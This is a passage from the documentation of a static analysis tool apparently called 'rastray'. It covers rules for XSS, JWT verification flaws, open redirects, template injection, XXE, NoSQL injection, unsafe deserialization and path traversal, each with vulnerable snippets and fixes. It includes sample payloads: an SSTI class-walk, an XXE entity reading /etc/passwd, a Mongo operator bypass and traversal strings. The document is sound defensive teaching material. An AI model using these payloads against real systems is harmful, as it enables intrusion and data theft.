<?php print "Hello " . $_POST['name']; ?>                    <!-- ← flagged -->
<p><?= $_REQUEST['msg'] ?></p>                               <!-- ← flagged -->

What rastray deliberately does not flag

  • Values run through htmlspecialchars(...) first:

    <?= htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') ?>
    

    The regex deliberately requires the superglobal to appear before any opening ( on the line, so function-wrapped uses are excluded.

  • Values rendered through Twig / Blade / Smarty templates with auto-escaping on.

How to fix it

Always escape on output. The canonical helper for HTML context is htmlspecialchars with ENT_QUOTES and an explicit charset:

<p>Hello, <?= htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') ?>!</p>

For an attribute, the same call works because ENT_QUOTES escapes both single and double quotes:

<a href="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>">link</a>

For URL contexts (only the path / query of a URL):

<a href="/search?q=<?= rawurlencode($_GET['q']) ?>">search</a>

For JavaScript contexts (a value embedded inside an inline <script>):

<script>
const user = <?= json_encode($_GET['user'], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

If your project uses a template engine (Twig, Blade), prefer those: auto-escape is on by default and the per-call helper disappears.

References

RSTR-JWT-001 — alg:none or wildcard algorithms accepted

Summary

The JWT verifier accepts algorithms: ['none'] or algorithms: ['*']. The none algorithm is the special JWT value meaning "no signature, trust the payload"; the * wildcard means "accept whatever algorithm the token's header claims". Both let an attacker forge a token with any identity by manipulating the JWT header.

Severity

Critical.

Languages

JavaScript, TypeScript, Python.

How to fix it

Always pass an explicit algorithm list matching what you signed the token with:

jwt.verify(token, secret, { algorithms: ['HS256'] });   // ← good
jwt.decode(token, key, algorithms=['RS256'])            # ← good

If you're using asymmetric keys (RS256, ES256) pin to that specific algorithm. Never include 'none' in the list, and never include '*'.

References

RSTR-JWT-002 — JWT verification disabled

Summary

Code decodes a JWT with the signature-verification step explicitly turned off (verify: false in jsonwebtoken, verify_signature=False in pyjwt, noVerify: true etc.). The token payload is taken at face value — anyone can mint a valid-looking JWT by base64-encoding any JSON they like, and the application treats it as authenticated.

This defeats the entire point of JWT.

Severity

Critical.

Languages

JavaScript, TypeScript, Python.

What rastray flags

Decode/verify calls with the verification flag disabled:

jwt.verify(token, secret, { verify: false });          // ← flagged
jwt.decode(token, { verify: false });                  // ← flagged
jwt.decode(token, options={'verify_signature': False}) # ← flagged

What rastray deliberately does not flag

  • jwt.decode(token) (without any options) — that decodes-without-verifying but is sometimes legitimate for inspecting a token before separately verifying it. Reviewers should still check those manually.
  • jwt.verify(token, secret) with no options object — verification is on by default.

How to fix it

Always verify the signature and pin the expected algorithm(s):

const decoded = jwt.verify(token, PUBLIC_KEY, {
  algorithms: ['RS256'],
  issuer:    'https://issuer.example.com',
  audience:  'my-api',
});
decoded = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=['RS256'],
    audience='my-api',
    issuer='https://issuer.example.com',
)

If you genuinely need the unverified header (e.g. to pick the right key from a JWKS), use the library's documented "header-only" helper and still call verify afterwards:

const header = jwt.decode(token, { complete: true }).header;
const key    = jwks.getSigningKey(header.kid).publicKey;
const claims = jwt.verify(token, key, { algorithms: ['RS256'] });

References

RSTR-JWT-003 — hardcoded JWT secret in source

Summary

A JWT signing call uses a literal string as the HMAC secret. As soon as the source or compiled binary leaks (open-sourcing the repo, leaking the artefact, a backup hitting public storage), the secret leaks too — and anyone with the secret can mint valid tokens for any user.

Severity

High.

Languages

JavaScript, TypeScript, Python.

What rastray flags

jwt.sign (Node) / jwt.encode (PyJWT) calls where the second positional argument is a string literal:

const token = jwt.sign({ sub: user.id }, 'my-super-secret');   // ← flagged
token = jwt.encode({'sub': user.id}, 'my-super-secret',
                   algorithm='HS256')                          # ← flagged

What rastray deliberately does not flag

  • Secrets read from process.env / os.environ.
  • Keys loaded from disk or a secret manager.
  • Public/private key arguments (asymmetric tokens) — those are long-lived material and the literal embedding is expected.

How to fix it

Load the secret from the environment or a secret manager:

const secret = process.env.JWT_SECRET;
if (!secret) throw new Error('JWT_SECRET unset');

const token = jwt.sign({ sub: user.id }, secret, {
  algorithm: 'HS256',
  expiresIn: '15m',
});
import os
SECRET = os.environ['JWT_SECRET']

token = jwt.encode({'sub': user.id}, SECRET, algorithm='HS256')

For higher-stakes systems, switch to asymmetric signatures (RS256, EdDSA) and keep the private key in a dedicated key-management service (AWS KMS, HashiCorp Vault, GCP KMS). Verifiers only need the public key.

How to suppress

For unit tests that need a deterministic secret, suppress per-line:

// rastray-ignore: RSTR-JWT-003 — unit-test fixture secret, not production
const token = jwt.sign({ sub: 'u1' }, 'test-secret');

References

RSTR-JWT-004 — verify without explicit algorithms list

Summary

jwt.verify(token, secret) is called without an algorithms argument. The library will accept whatever algorithm the token's header field claims, which enables the alg-confusion attack: an attacker takes the server's RS256 public key, signs an HS256 token using that public key as the HMAC secret, sets the header to alg: HS256, and the library happily verifies the forgery because it was told "any algorithm is fine".

Severity

High.

Languages

JavaScript, TypeScript, Python.

How to fix it

Always pin the algorithm:

jwt.verify(token, secret, { algorithms: ['HS256'] });
jwt.decode(token, key, algorithms=['RS256'])

For Go's github.com/golang-jwt/jwt, see RSTR-JWT-005 — the equivalent fix happens inside the keyfunc.

References

RSTR-JWT-005 — Go jwt.Parse keyfunc without method validation

Summary

github.com/golang-jwt/jwt's Parse / ParseWithClaims accepts any signing algorithm the token header claims, including none and HS256-vs-RS256 confusion attacks. The keyfunc you pass it must explicitly check token.Method and reject anything except the algorithm your application actually issues.

If the keyfunc returns the public key without checking — the standard copy-paste pattern from many tutorials — an attacker can flip the algorithm to HS256 and forge a token signed with the public key as the HMAC secret.

Severity

High.

Languages

Go.

What rastray flags

jwt.Parse / jwt.ParseWithClaims calls whose keyfunc returns a key without first checking token.Method:

token, err := jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
    return publicKey, nil           // ← flagged: no t.Method check
})

What rastray deliberately does not flag

Keyfuncs that validate the signing method first:

token, err := jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
    if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
        return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
    }
    return publicKey, nil
})

How to fix it

Always assert the concrete SigningMethod type. For RS256:

import "github.com/golang-jwt/jwt/v5"

func verify(raw string) (*jwt.Token, error) {
    return jwt.Parse(raw, func(t *jwt.Token) (interface{}, error) {
        if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
            return nil, fmt.Errorf("unexpected alg: %v", t.Header["alg"])
        }
        return publicKey, nil
    }, jwt.WithValidMethods([]string{"RS256"}))
}

jwt.WithValidMethods(...) (v5+) is a second belt-and-suspenders check that fails earlier than the keyfunc.

References

RSTR-RDR-001 — Express res.redirect(req.x)

Summary

res.redirect(...) is called with a value taken directly from req.body.*, req.query.*, or req.params.*. An attacker can craft a link like https://yoursite.com/go?next=https://evil.com/login — the URL bar still says yoursite.com, the user clicks the link from a "trusted" source, gets redirected to evil.com, sees a copy of the login page, and types their password.

Open redirect is the workhorse of phishing campaigns.

Severity

Medium. Real impact, but lower than direct code-execution sinks.

How to fix it

Allow-list the targets:

const SAFE_PATHS = new Set(['/dashboard', '/profile', '/settings']);

if (!SAFE_PATHS.has(req.query.next)) {
  return res.status(400).send('invalid redirect target');
}
res.redirect(req.query.next);

Or restrict to same-origin redirects with a single leading slash:

const target = req.query.next || '/';
if (!target.startsWith('/') || target.startsWith('//')) {
  return res.redirect('/');
}
res.redirect(target);

References

RSTR-RDR-002 — Flask / Django redirect with request input

Summary

A Python web handler redirects the browser to a URL taken directly from request arguments. An attacker can craft a link such as https://yoursite/login?next=https://phish.example — the victim sees a trusted-looking link, clicks, and lands on the attacker's page after the redirect.

Severity

Medium. Open-redirects amplify phishing and frequently chain into OAuth-flow takeovers when the redirect target receives a token.

Languages

Python (Flask, Django).

What rastray flags

@app.route('/post-login')
def post_login():
    return redirect(request.args['next'])           # ← flagged
def view(request):
    return HttpResponseRedirect(request.GET['next'])  # ← flagged

What rastray deliberately does not flag

  • redirect(url_for('some_view')) (named URLs).
  • Redirects to literal strings.
  • Redirects passed through urlsafe_allowed_hosts(...) or any helper that the rule cannot resolve.

How to fix it

Validate the redirect target against an allow-list (relative paths or trusted hosts):

from urllib.parse import urlparse

ALLOWED_HOSTS = {'app.example.com', 'admin.example.com'}

def safe_redirect_target(raw: str) -> str:
    parsed = urlparse(raw)
    if not parsed.netloc:
        return raw                       # relative path — safe
    if parsed.netloc in ALLOWED_HOSTS:
        return raw                       # trusted external host
    return '/'                           # fall back to home

@app.route('/post-login')
def post_login():
    return redirect(safe_redirect_target(request.args.get('next', '/')))

Django ships an equivalent helper out of the box — django.utils.http.url_has_allowed_host_and_scheme — use it on every next= parameter.

References

RSTR-RDR-003 — Go http.Redirect with request input

Summary

Go counterpart of RSTR-RDR-002. A handler redirects to a URL read from r.FormValue or r.URL.Query().Get without checking the host or scheme.

Severity

Medium.

Languages

Go.

What rastray flags

func postLogin(w http.ResponseWriter, r *http.Request) {
    http.Redirect(w, r,
        r.URL.Query().Get("next"),                       // ← flagged
        http.StatusFound)
}

What rastray deliberately does not flag

  • Redirects to literal paths.
  • Redirects whose target was assembled via url.URL{Path: ...} from validated components.

How to fix it

Reject absolute URLs and enforce an allow-list:

var allowedHosts = map[string]struct{}{
    "app.example.com": {},
}

func safeRedirect(w http.ResponseWriter, r *http.Request, raw string) {
    u, err := url.Parse(raw)
    if err != nil {
        http.Redirect(w, r, "/", http.StatusFound)
        return
    }
    // Relative paths only? Or allow-listed external hosts.
    if u.Host == "" || allowedHosts[u.Host] != struct{}{} {
        // host empty => relative; or explicitly trusted
    } else {
        http.Redirect(w, r, "/", http.StatusFound)
        return
    }
    http.Redirect(w, r, raw, http.StatusFound)
}

For most apps the simpler rule — only allow redirects whose target starts with / and is not // (protocol-relative) — is enough:

target := r.URL.Query().Get("next")
if !strings.HasPrefix(target, "/") || strings.HasPrefix(target, "//") {
    target = "/"
}
http.Redirect(w, r, target, http.StatusFound)

References

RSTR-RDR-004 — Rails redirect_to params[:x]

Summary

A Rails controller calls redirect_to with a value taken directly from params[...]. An attacker submits ?next=https://phish.example and the user sees a trusted-looking link that lands on the attacker's page after the redirect.

This is the Rails counterpart of RSTR-RDR-002 (Flask/Django) and RSTR-RDR-003 (Go).

Recent Rails versions (5.0+) refuse cross-origin redirects by default (ActionController::Redirecting::UnsafeRedirectError), but same-origin phishing — /login?next=/admin/transfer?to=evil — still succeeds. Always validate.

Severity

Medium.

Languages

Ruby (Rails).

What rastray flags

def callback
  redirect_to params[:next]                   # ← flagged
end
redirect_to params[:url]                       # ← flagged

What rastray deliberately does not flag

Named route helpers and constant strings:

redirect_to dashboard_path                    # safe
redirect_to user_path(@user)                  # safe
redirect_to '/login'                          # safe

Indirect flow (path = params[:next]; redirect_to path) is also not flagged — the same one-step taint scope used everywhere in rastray.

How to fix it

Allow-list the target. The simplest pattern uses a per-controller helper that returns either a sanitised path or a safe default:

class SessionsController < ApplicationController
  def create
    # ... authenticate ...
    redirect_to safe_next_path
  end

  private

  def safe_next_path
    candidate = params[:next].to_s
    return dashboard_path if candidate.blank?

    # only allow same-origin, leading-slash, non-protocol-relative
    uri = URI.parse(candidate) rescue nil
    return dashboard_path unless uri && uri.host.nil? && candidate.start_with?('/')
    return dashboard_path if candidate.start_with?('//')

    candidate
  end
end

For redirects to an external site, maintain an explicit allow-list of trusted hosts.

References

RSTR-SSTI-001 — Python render_template_string / Template(req.x)

Summary

User input becomes the template source itself, not the data rendered by a static template. Jinja2 and the Python string.Template family give the template author the power to execute Python expressions; if the attacker writes the template, the attacker runs Python on the server.

SSTI commonly escalates to remote code execution via the classic payload:

{{ ''.__class__.__mro__[1].__subclasses__() }}

…which walks Python's class hierarchy to find subclasses like subprocess.Popen and execute shell commands.

Severity

High.

Languages

Python.

What rastray flags

  • Template(request.x) (constructor takes user input)
  • jinja2.Template(request.x)
  • render_template_string(request.x) (Flask convenience)
  • env.from_string(request.x) (Jinja2 Environment)

How to fix it

Load templates from disk and pass user input as data:

# SAFE — the template is a static file, user input is a variable
return render_template('home.html', name=request.args.get('name'))
{# templates/home.html #}
<h1>Hello, {{ name }}</h1>   {# auto-escaped #}

render_template (no _string) is the safe sibling. The template author and the request submitter must be different people.

References

RSTR-SSTI-002 — Node template compile from request input

Summary

A Node template engine (pug, handlebars, ejs, mustache, …) compiles a template string built from request input. The attacker controls the template source, not just the data passed into a fixed template — so they can execute arbitrary code through engine internals, and SSTI usually escalates straight to RCE.

This is the Node counterpart of RSTR-SSTI-001.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

const tmpl = pug.compile(req.body.template);              // ← flagged

handlebars.compile(req.query.body);                       // ← flagged

ejs.render(req.body.tpl, {});                             // ← flagged

What rastray deliberately does not flag

  • Rendering a fixed file: pug.renderFile('views/index.pug', { data }).
  • Compiling a constant string at module load time.
  • ejs.render(fixedTemplate, dataFromReq) where the template is a literal.

How to fix it

Templates are code. Treat them like code: ship them with the application, never accept them from clients. Always render a fixed template and pass user input as data:

// templates/email.ejs lives in the repo
const html = await ejs.renderFile(
  path.join(__dirname, 'templates/email.ejs'),
  { name: req.body.name, link: req.body.link }
);

If the product really needs user-provided "templates" (mail-merge, report builder), use a sandboxed micro-syntax — not a full template engine. Strict mustache (no helpers, no {{{ raw }}}) is the safest pre-built option.

References

RSTR-XXE-001 — Python stdlib XML parsers

Summary

Python's standard-library XML parsers (xml.etree, xml.sax, xml.dom.minidom) resolve external entities by default. An attacker can submit XML containing <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> and the parser will fetch the local file (or any http://-accessible URL) and embed it in the document.

This is XML External Entity injection (XXE) — local-file disclosure, SSRF via entity URIs, and on some configurations DoS via the billion-laughs attack.

Severity

High.

Languages

Python.

How to fix it

Use defusedxml:

import defusedxml.ElementTree as ET
tree = ET.fromstring(payload)

defusedxml is a drop-in replacement that hardens every stdlib parser. It's the official recommendation in Python's own documentation.

References

RSTR-XXE-002 — lxml XMLParser(resolve_entities=True)

Summary

lxml.etree.XMLParser is constructed with resolve_entities=True (the default), so external entities embedded in the parsed XML are resolved. A malicious document can read local files (file:///etc/passwd) or make outbound HTTP requests (SSRF) from the parser process.

Severity

High.

Languages

Python.

What rastray flags

from lxml import etree

parser = etree.XMLParser(resolve_entities=True)    # ← flagged
tree   = etree.fromstring(payload, parser)
parser = etree.XMLParser()                          # ← flagged (defaults to True)

What rastray deliberately does not flag

  • etree.XMLParser(resolve_entities=False, no_network=True).
  • defusedxml.lxml.parse(...) / fromstring(...).

How to fix it

Either harden the parser:

from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    huge_tree=False,
    dtd_validation=False,
    load_dtd=False,
)
tree = etree.fromstring(payload, parser)

Or, easier, use defusedxml.lxml:

from defusedxml.lxml import fromstring
tree = fromstring(payload)

defusedxml is the OWASP-recommended drop-in: it disables every XXE-relevant feature by default and the API mirrors stdlib lxml.

References

RSTR-XXE-003 — libxmljs parseXml(..., { noent: true })

Summary

libxmljs2 (and the original libxmljs) accepts XML with the noent: true option, which expands external entities. A malicious document then reads local files or makes outbound requests through the Node process — same vulnerability class as the lxml variant.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

const libxmljs = require('libxmljs2');
const doc = libxmljs.parseXml(payload, { noent: true });    // ← flagged

What rastray deliberately does not flag

  • libxmljs.parseXml(payload) (default options — noent is false).
  • libxmljs.parseXml(payload, { noent: false }).

How to fix it

Drop the noent: true option:

const doc = libxmljs.parseXml(payload);   // entity expansion off by default

If you genuinely need to expand entities from a trusted document (e.g. a build-time XML config you author yourself), keep the option but suppress with a comment explaining provenance:

// rastray-ignore: RSTR-XXE-003 — internal config, never user-supplied
const doc = libxmljs.parseXml(internalCfg, { noent: true });

References

RSTR-XXE-004 — xml2js permissive parser options

Summary

xml2js is configured with explicitArray: false as the only safety toggle — entity expansion is still on by default. The application is exposed to billion-laughs DoS and to entity-based data exfiltration when the upstream library version permits it.

This rule is intentionally narrower than the lxml / libxmljs ones: it flags the "I tweaked parser options for convenience but didn't think about security" pattern.

Severity

Medium.

Languages

JavaScript, TypeScript.

What rastray flags

const parser = new xml2js.Parser({ explicitArray: false }); // ← flagged
parser.parseString(payload, cb);

What rastray deliberately does not flag

  • new xml2js.Parser() with default options.
  • Parser constructions where explicitCharkey: true and explicit entity-handling options are also set.

How to fix it

Switch to a parser with safer defaults (fast-xml-parser, which disables entity expansion) or validate the input before parsing:

import { XMLParser } from 'fast-xml-parser';

const parser = new XMLParser({
  ignoreAttributes: false,
  processEntities: false,        // explicitly off
});
const json = parser.parse(payload);

If you must keep xml2js, add an upstream size/depth limit (HTTP body limit, a regex-based reject for <!DOCTYPE/<!ENTITY blocks) and suppress with a comment noting the mitigation.

References

RSTR-XXE-005 — Java XML factory without entity hardening

Summary

DocumentBuilderFactory, SAXParserFactory, or XMLInputFactory is constructed without disabling external entities and DTD processing. The defaults vary by JDK version and parser implementation; the OWASP guidance is to set the hardening features explicitly so the code is safe regardless of where it runs.

Severity

High.

Languages

Java.

What rastray flags

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // ← flagged
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
SAXParserFactory spf = SAXParserFactory.newInstance();             // ← flagged
SAXParser sp = spf.newSAXParser();
XMLInputFactory xif = XMLInputFactory.newInstance();               // ← flagged

What rastray deliberately does not flag

  • Factories where every hardening feature (see below) is set.
  • XMLConstants.FEATURE_SECURE_PROCESSING enabled and DTD/entity features explicitly disabled.

How to fix it

Apply OWASP's hardening recipe before parsing:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

For SAXParserFactory, set the same disallow-doctype-decl feature. For XMLInputFactory:

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

If your project already wraps factory construction in a helper, run rastray against just the helper and suppress callers.

References

RSTR-NOSQLI-001 — Mongo find / update with req.body object

Summary

A MongoDB query is built by passing an object straight from req.body / req.query / req.params into the filter position of .find(...), .findOne(...), .updateOne(...), etc. An attacker who submits JSON instead of the expected form data (e.g. {"user": {"$gt": ""}} instead of {"user": "alice"}) can use MongoDB's query operators ($gt, $ne, $regex, $where) to bypass authentication or extract every document.

Severity

High.

Languages

JavaScript / TypeScript.

How to fix it

Coerce every value to its expected primitive type:

// SAFE — even if req.body.user is `{"$gt": ""}`, String()
// flattens it to '[object Object]' which matches nothing.
users.findOne({ user: String(req.body.user) });

Or validate with a schema:

import { z } from 'zod';
const Q = z.object({ user: z.string() });
const { user } = Q.parse(req.body);
users.findOne({ user });

References

RSTR-NOSQLI-002 — Mongo $where with request input

Summary

$where in MongoDB lets the caller supply a JavaScript function that runs server-side inside the database process for every document. If the value of $where comes from request input, the attacker can run arbitrary JavaScript — essentially remote code execution in the database process.

Severity

Critical. This is RCE, not just data exposure.

Languages

JavaScript / TypeScript.

How to fix it

Don't use $where. Refactor to a structured filter expression that uses standard MongoDB operators:

// BAD: $where with user input — RCE
users.find({ $where: `this.balance > ${req.query.min}` });

// GOOD: structured filter
users.find({ balance: { $gt: Number(req.query.min) } });

If you genuinely need $where-level expressiveness, ask why — almost every legitimate use can be rewritten as a combination of $expr, $lookup, $elemMatch, etc., none of which evaluate user JavaScript.

References

RSTR-NOSQLI-003 — PyMongo filter built from request.*

Summary

A PyMongo query is built by passing a request-derived dict (or request.json, request.form, request.values) directly as the filter argument. An attacker who submits {"$gt": ""} instead of a string causes the filter to match every document — bypassing intended access controls.

This is the Python counterpart of RSTR-NOSQLI-001.

Severity

High.

Languages

Python (PyMongo / Motor).

What rastray flags

db.users.find_one(request.json)                  # ← flagged
db.posts.update_one(request.form, {'$set': ...}) # ← flagged

What rastray deliberately does not flag

  • Filters constructed from individual fields: db.users.find_one({'_id': ObjectId(request.json['id'])}).
  • Filters built after marshmallow / pydantic schema validation.

How to fix it

Validate and coerce inputs before building the filter. With pydantic:

from pydantic import BaseModel
from bson import ObjectId

class UserQuery(BaseModel):
    id: str
    email: str | None = None

@app.post('/users')
def find_user(q: UserQuery = Depends(...)):
    return db.users.find_one({
        '_id':   ObjectId(q.id),
        'email': q.email,
    })

Plain dict construction also works as long as each field comes through a per-field coercion (string, int, etc.) — the rule fires precisely because passing the entire request object lets operator keys through.

References

RSTR-DES-001 — Python pickle.loads on untrusted input

Summary

pickle.loads (and Unpickler.load) deserializes arbitrary Python objects, including ones whose constructors execute side-effectful code. A pickle byte string is a program; the only safe input is data you yourself produced and stored in a location only you can write to. From the network, from a database row a user wrote, from a file upload — never.

This is the single most common Python RCE primitive.

Severity

Critical.

Languages

Python.

What rastray flags

import pickle
obj = pickle.loads(request.data)                   # ← flagged
obj = pickle.load(open('user_uploaded.pkl', 'rb')) # ← flagged
from pickle import Unpickler
obj = Unpickler(stream).load()                     # ← flagged

What rastray deliberately does not flag

  • json.loads(...), tomllib.loads(...), msgpack.unpackb(...) — data-only formats.
  • dill, cloudpicklealso unsafe (same primitive); they have separate rules.

How to fix it

For data interchange, use JSON or MessagePack. For storing typed Python objects, use pydantic / attrs / dataclasses with explicit from_dict constructors:

import json
from pydantic import BaseModel

class Job(BaseModel):
    id: str
    payload: dict

job = Job.model_validate_json(request.data)

If you absolutely must use pickle (long-lived internal cache, no external surface), sign the payload with HMAC-SHA-256 and verify before unpickling. That moves the threat model from "anyone with write access to the channel can RCE you" to "anyone with the HMAC key can RCE you" — better, but still demand a real reason.

References

RSTR-DES-002 — Python yaml.load without SafeLoader

Summary

PyYAML's yaml.load(stream) (with no explicit Loader) constructs arbitrary Python objects from the document — including ones whose __reduce__ runs os.system('rm -rf /'). The CVE-2017-18342 advisory made yaml.load issue a warning, and recent PyYAML releases require an explicit loader, but legacy code still triggers the trap.

Severity

High.

Languages

Python.

What rastray flags

import yaml
cfg = yaml.load(open('config.yaml'))               # ← flagged
cfg = yaml.load(request.data)                      # ← flagged

What rastray deliberately does not flag

  • yaml.safe_load(...).
  • yaml.load(stream, Loader=yaml.SafeLoader).
  • yaml.load(stream, Loader=yaml.CSafeLoader).

How to fix it

yaml.safe_load is a drop-in replacement that returns only Python primitives (dicts, lists, strings, ints, floats, bools, None):

import yaml
cfg = yaml.safe_load(open('config.yaml'))

If the YAML document is supposed to encode richer types (sets, ordered dicts), define a custom SafeLoader subclass that explicitly registers only the constructors you want. Never reach for FullLoader or UnsafeLoader on untrusted input.

rastray --fix --yes auto-rewrites yaml.load(x)yaml.safe_load(x).

References

RSTR-DES-003 — Python marshal.loads on untrusted input

Summary

marshal is a Python-internal serializer used by the compiler for .pyc files. It is not a general-purpose data format and the docs explicitly warn against using it on untrusted input — marshal.loads can construct code objects which exec will then execute.

Severity

Critical.

Languages

Python.

What rastray flags

import marshal
obj = marshal.loads(request.data)                  # ← flagged
obj = marshal.load(open('payload.bin', 'rb'))      # ← flagged

What rastray deliberately does not flag

  • Reads of .pyc files by the import system (handled internally; the rule fires on user-level marshal.load(s) calls).
  • json.loads, tomllib.loads, msgpack.unpackb.

How to fix it

Use a data format. JSON for short data, MessagePack or CBOR for binary, Protocol Buffers or Cap'n Proto for schemas. None of those can construct executable Python objects.

import json
obj = json.loads(request.data)

There is no safe-mode marshal. If you find marshal in production code outside the import machinery, treat the discovery as a P0 and replace.

References

RSTR-DES-004 — Node node-serialize unserialize

Summary

The node-serialize package's unserialize function explicitly documents that it executes embedded JavaScript when the payload contains an IIFE. CVE-2017-5941 demonstrated remote code execution with a one-line payload. The package is unmaintained; using it on untrusted input is direct RCE.

Severity

Critical.

Languages

JavaScript, TypeScript.

What rastray flags

const serialize = require('node-serialize');
const obj = serialize.unserialize(req.body.payload);   // ← flagged
import { unserialize } from 'node-serialize';
const obj = unserialize(rawString);                     // ← flagged

What rastray deliberately does not flag

  • JSON.parse(...) — data only.
  • structuredClone(...) — structured-clone algorithm, no code paths.
  • msgpack.decode(...) / cbor.decode(...).

How to fix it

Stop using node-serialize. For trusted data, JSON.stringify / JSON.parse round-trips primitives, arrays, and plain objects. For binary or richer types, use MessagePack or CBOR.

// Bad
const obj = serialize.unserialize(blob);

// Good (for any data-only use)
const obj = JSON.parse(blob);

Remove node-serialize from package.json and audit transitive dependencies (npm ls node-serialize) — old build tools sometimes still pull it in.

References

RSTR-DES-005 — Ruby Marshal.load

Summary

Marshal.load (and the alias Marshal.restore) deserializes Ruby objects from a binary blob, and the deserializer will invoke attacker-controlled object initializers (_load, marshal_load, initialize_copy). Famous Rails gadget chains turn a single Marshal.load of attacker bytes into full RCE.

Severity

Critical.

Languages

Ruby.

What rastray flags

data = Marshal.load(request.body.read)             # ← flagged
data = Marshal.restore(File.binread('cache.bin'))  # ← flagged

What rastray deliberately does not flag

  • JSON.parse(...), Psych.safe_load(...), MessagePack.unpack(...).

How to fix it

Use JSON (or MessagePack for binary):

data = JSON.parse(request.body.read, symbolize_names: true)

If you must use Marshal for a closed internal channel (Rails Marshal-backed cache), sign the blob with HMAC-SHA-256 and verify before unmarshalling. Even then, the surface is large enough that swapping to JSON or Psych.safe_load is usually cheaper than maintaining the signing harness.

References

RSTR-DES-006 — Java ObjectInputStream.readObject

Summary

Native Java deserialization (ObjectInputStream.readObject) walks the attacker-controlled byte stream and instantiates whatever classes it names, invoking their readObject / readResolve hooks. The notorious CVE-2015-7501 (Apache Commons Collections) chained a small number of common gadgets into JVM-wide RCE; the pattern has been re-used against countless Java apps since.

Severity

Critical.

Languages

Java, Kotlin.

What rastray flags

ObjectInputStream ois = new ObjectInputStream(input);   // ← flagged
Object o = ois.readObject();                            // ← flagged
val ois = ObjectInputStream(input)
val o = ois.readObject()                                // ← flagged

What rastray deliberately does not flag

  • JSON / XML / MessagePack / protobuf deserializers.
  • Reads of objects you serialized yourself from a closed channel and validated with a serialization-filter (ObjectInputFilter) that rejects everything outside an allow-list.

How to fix it

Switch the wire format. JSON via Jackson or Gson, protobuf, Avro — any data-only format eliminates the gadget surface.

If you cannot change the format, install a JEP-290 serialization filter that rejects every class outside an explicit allow-list:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.dto.*;java.lang.*;!*"
);
ObjectInputFilter.Config.setSerialFilter(filter);

A correctly-scoped filter is a hard lower bound — the JVM rejects the byte stream before any gadget can run.

References

RSTR-DES-007 — PHP unserialize

Summary

PHP's unserialize deserializes the input into objects and invokes their magic methods (__wakeup, __destruct, __toString) — even ones the calling code never names. PHP's huge standard library provides plenty of useful gadget chains; unserialize on attacker-controlled bytes is a remote-code-execution primitive in practice, not just in theory.

Severity

Critical.

Languages

PHP.

What rastray flags

$data = unserialize($_POST['payload']);            // ← flagged
$data = unserialize(file_get_contents($uploaded)); // ← flagged

What rastray deliberately does not flag

  • json_decode(...) — no object instantiation.
  • unserialize($str, ['allowed_classes' => false]) — strict mode available in PHP 7+ that disables object construction.

How to fix it

Switch to JSON for any external interchange:

$data = json_decode($_POST['payload'], true);

If you must keep unserialize for an internal channel, enable strict mode with an explicit class allow-list:

$data = unserialize($blob, [
    'allowed_classes' => ['App\Dto\Job', 'App\Dto\Item'],
]);

'allowed_classes' => false blocks every class — perfect when you only intended scalar / array data.

References

RSTR-PTH-001 — Flask send_file(request.*)

Summary

A Flask handler calls send_file (or send_from_directory with the path on the wrong argument) using a path derived directly from request input. An attacker submits ../../etc/passwd and the server happily reads and returns that file.

Severity

High.

Languages

Python (Flask / Quart).

What rastray flags

@app.route('/download')
def download():
    return send_file(request.args['path'])         # ← flagged
@app.route('/file')
def file():
    return send_file(f'./uploads/{request.args["name"]}')   # ← flagged

What rastray deliberately does not flag

  • send_from_directory(safe_dir, secure_filename(name)) (the documented safe form).
  • send_file(...) with a constant path.

How to fix it

Use send_from_directory with werkzeug.utils.secure_filename:

from flask import send_from_directory
from werkzeug.utils import secure_filename

@app.route('/file/<name>')
def file(name):
    return send_from_directory(
        directory='./uploads',
        path=secure_filename(name),
    )

For multi-tenant uploads, also confirm the resolved path stays inside the intended base directory:

import os
base = os.path.realpath('./uploads')
target = os.path.realpath(os.path.join(base, secure_filename(name)))
if not target.startswith(base + os.sep):
    abort(404)

secure_filename only strips path separators and a handful of unsafe chars — the realpath check catches symlink shenanigans.

References

RSTR-PTH-002 — Express res.sendFile / fs.readFile with request input

Summary

Node counterpart of RSTR-PTH-001. The application reads, writes, or streams a file whose path is built from req.params, req.query, or req.body without confining the result to a safe base directory.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

app.get('/file', (req, res) => {
    res.sendFile(req.query.path);                              // ← flagged
});

fs.readFile(req.params.name, (err, data) => { ... });          // ← flagged
fs.writeFileSync(req.body.dest, data);                         // ← flagged

What rastray deliberately does not flag

  • res.sendFile(path.join(SAFE_DIR, basename(req.params.name))) — the basename strips traversal sequences.
  • Constant paths.

How to fix it

Always join the user input onto a fixed base, run it through path.basename to strip ../, and verify the resolved path still sits under the base:

import path from 'node:path';
const BASE = path.resolve('./uploads');

app.get('/file/:name', (req, res) => {
    const safeName = path.basename(req.params.name);
    const target   = path.resolve(BASE, safeName);
    if (!target.startsWith(BASE + path.sep)) {
        return res.sendStatus(404);
    }
    res.sendFile(target);
